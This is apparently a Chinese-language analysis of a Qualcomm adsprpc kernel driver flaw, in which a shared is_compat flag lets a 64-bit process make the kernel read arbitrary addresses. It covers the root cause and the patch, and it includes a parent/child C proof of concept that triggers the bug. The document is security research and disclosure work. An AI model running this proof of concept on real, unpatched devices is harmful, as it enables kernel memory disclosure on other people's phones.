qualcomm-dsp-driver: adsprpc

漏洞

为了支持 32 位用户空间进程,64 位内核包含一个可以支持 ioctl 的“兼容层”(compatibility layer)。这个层的职责是将 32 位结构体转换为它们的 64 位等价结构体,这涉及将 32 位用户空间指针“扩展”为 64 位指针。adsprpc 驱动在 adsprpc_compat.c 文件中处理这种情况。它会分配内核内存,将 32 位结构体拷贝并转换为 64 位结构体,然后调用 64 位的 ioctl 接口。因此,64 位的 ioctl 接口必须处理来自 32 位内核兼容层的调用以及直接来自 64 位用户空间的调用。

为了支持这种功能,32 位兼容层通过在与文件描述符绑定的 fl 结构体(fastrpc_file)中设置 is_compat 标志,向更广泛的 adsprpc 驱动表明当前调用来自 32 位兼容层。

long compat_fastrpc_device_ioctl(struct file *filp, unsigned int cmd,
                                 unsigned long arg)
{
        int err = 0;
        struct fastrpc_file *fl = (struct fastrpc_file *)filp->private_data;
        if (!filp->f_op || !filp->f_op->unlocked_ioctl)
                return -ENOTTY;
        fl->is_compat = true; // 设置is_compat flag为true
        ...
}

稍后,在调用 K_COPY_FROM_USER 时会使用 is_compat 标志来决定是使用 memmove(适用于 32 位兼容层或其他内核调用)还是 copy_from_user

#define K_COPY_FROM_USER(err, kernel, dst, src, size) \
        do {\
                if (!(kernel))\
                        err = copy_from_user((dst),\
                        (void const __user *)(src),\
                        (size));\
                else\
                        memmove((dst), (src), (size));\
        } while (0)

函数 fastrpc_internal_invoke2 的片段如下:

int fastrpc_internal_invoke2(struct fastrpc_file *fl,
                             struct fastrpc_ioctl_invoke2 *inv2)
{
        switch (inv2->req) {
        case FASTRPC_INVOKE2_ASYNC:
                ...
                        K_COPY_FROM_USER(err, fl->is_compat, &p.inv3, (void*)inv2->invparam, sizeof(struct fastrpc_ioctl_invoke_async_no_perf));
                ...
        }
}

然而,这个 is_compat 标志被设置在一个相对全局的级别上,因此对同一文件描述符的任何其他 ioctl 调用都会看到该标志已被设置。此外,一旦该标志被设置,就永远不会被重置。以下是一个可能的恶意场景:

  1. 一个恶意的 64 位进程 A 打开了 adsprpc-smd 文件,创建了一个新的 adsprpc 文件描述符。
  2. 进程 A 调用 fork,创建了一个新的 32 位进程 B(A 和 B 共享 adsprpc fd/fl)。
  3. 进程 B 调用 32 位的 ioctl 接口(从而设置了 is_compat 标志)并退出。
  4. 进程 A 调用 64 位的 ioctl 接口。

在这种情况下,驱动程序错误地认为请求来自 32 位兼容层(因为 is_compat 被设置了),并尝试将(void*)inv2->invparam作为内核指针进行访问,而实际上这是一个来自 64 位用户空间的不可信用户空间指针(在恶意情况下,这些指针可能是内核地址)(copy_from_user的src)。随后内核将使用不安全的 memmove 来访问这些指针,从而导致用户空间控制的内核地址读操作。

memove函数:将内存区域中的一段数据复制到另一段内存区域中

void *memmove(void *dest, const void *src, size_t n);
// dest: 目标地址指针,表示数据要复制到的内存区域的起始地址
// src: 源地址指针,表示数据要复制的内存区域的起始地址。
// n: 要复制的字节数

漏洞模式小结

    1. 有兼容层
    1. 表明兼容层的is_compat 标志被设置在一个相对全局的级别上
    • 对同一文件描述符的任何其他 ioctl 调用都会看到该标志已被设置
    • 一旦该标志被设置,就永远不会被重置或者存在情况不会被重置

比如该漏洞的is_compat就存储在父子进程共享的fastrpc_file

    1. 驱动对用户态传入地址的处理在同一个地方。

PoC

  • 父进程
int main() {
    int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY); // [1] 恶意的 64 位进程 A 打开了 `adsprpc-smd` 文件,创建了一个新的 `adsprpc` 文件描述符。
    if(adsprpc_fd == -1) {
        printf("open: %m\n");
        return 1;
    }
    printf("opened fd %d\n", adsprpc_fd);

    uint32_t info = 3; // 0 is privileged, 3 is unprivileged
    int getinfo_res = ioctl(adsprpc_fd, FASTRPC_IOCTL_GETINFO, &info);
    printf("getinfo returned %d\n", getinfo_res);

    printf("invoking child\n");
    char* arg[] = {"./poc_compat", NULL};
    if(!fork()) { // [2] 进程 A 调用 `fork`,创建了一个新的 32 位进程 B(A 和 B 共享 `adsprpc` fd/fl)。
        execve("./poc_compat",arg,NULL); // 子进程执行poc_compat
        printf("execve: %m\n");
        return 1;
    }
    int ret = waitpid(-1,NULL,0);
    if(ret < 0)
    {
        printf("waitpid: %m\n");
        return 1;
    }
    printf("child exited\n");
    struct fastrpc_ioctl_invoke2 p = {
        .req = FASTRPC_INVOKE2_ASYNC,
        .invparam = 0xffffffff41414141,
        .size = 8
    };
    errno = 0;
    int res = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&p); // [4] 进程 A 调用 64 位的 `ioctl` 接口
    printf("invoke2 called, returned %d (%m)\n", res);
}
  • 子进程
int main() {
  printf("calling ioctl\n");
  struct fastrpc_ioctl_dspsignal_wait arg = {
    .signal_id = 1024/*too big*/
  };
  int ret = ioctl(3,COMPAT_FASTRPC_IOCTL_DSPSIGNAL_WAIT,&arg); // [3] 进程 B 调用 32 位的 `ioctl` 接口(从而设置了 `is_compat` 标志)并退出。
  printf("ioctl returned %d (%m)\n", ret);
  return 0;
}

Patch

  1. 定义了一个enum fastrpc_msg_type,去除了结构体fastrpc_file里的is_compat(把这个flag的“全局”级别降低了)。
  1. 既然去除了结构体fastrpc_file里的is_compat,那么在c文件里用到的地方也要去掉。比如下面978行去掉了这个字段的设置,而是通过fastrpc_msg_type来设置。

  2. 32 位兼容层的ioctl中,invoke和invoke2分别做了改变:350行的参数从USER_MSG换成了COMPAT_MSG,从上面的注释来看,前者表示64位,后者表示32位;487行给invoke2函数加了一个参数true,来表示是兼容层。

  1. 上面兼容层最后会调用64位的函数。
  • 对于invoke:如果是COMPAT_MSG,则kernel设置为USER_MSG,否则是原值。这里的意思是如果是兼容层传过来的,因为在兼容层已经完成了数据类型的转换,所以这里就把类型改过来,直接当64位的了。

3401行调用了context_alloc函数:

  • 对于invoke2:不再用fl->is_compat,而是用传入的参数is_compat(传入true)

参考文献

  • https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
  • https://project-zero.issues.chromium.org/issues/42451710
  • https://docs.qualcomm.com/product/publicresources/securitybulletin/october-2024-bulletin.html
  • https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/c60ac212aabd299304dfbb54b1fc18c59247d9ae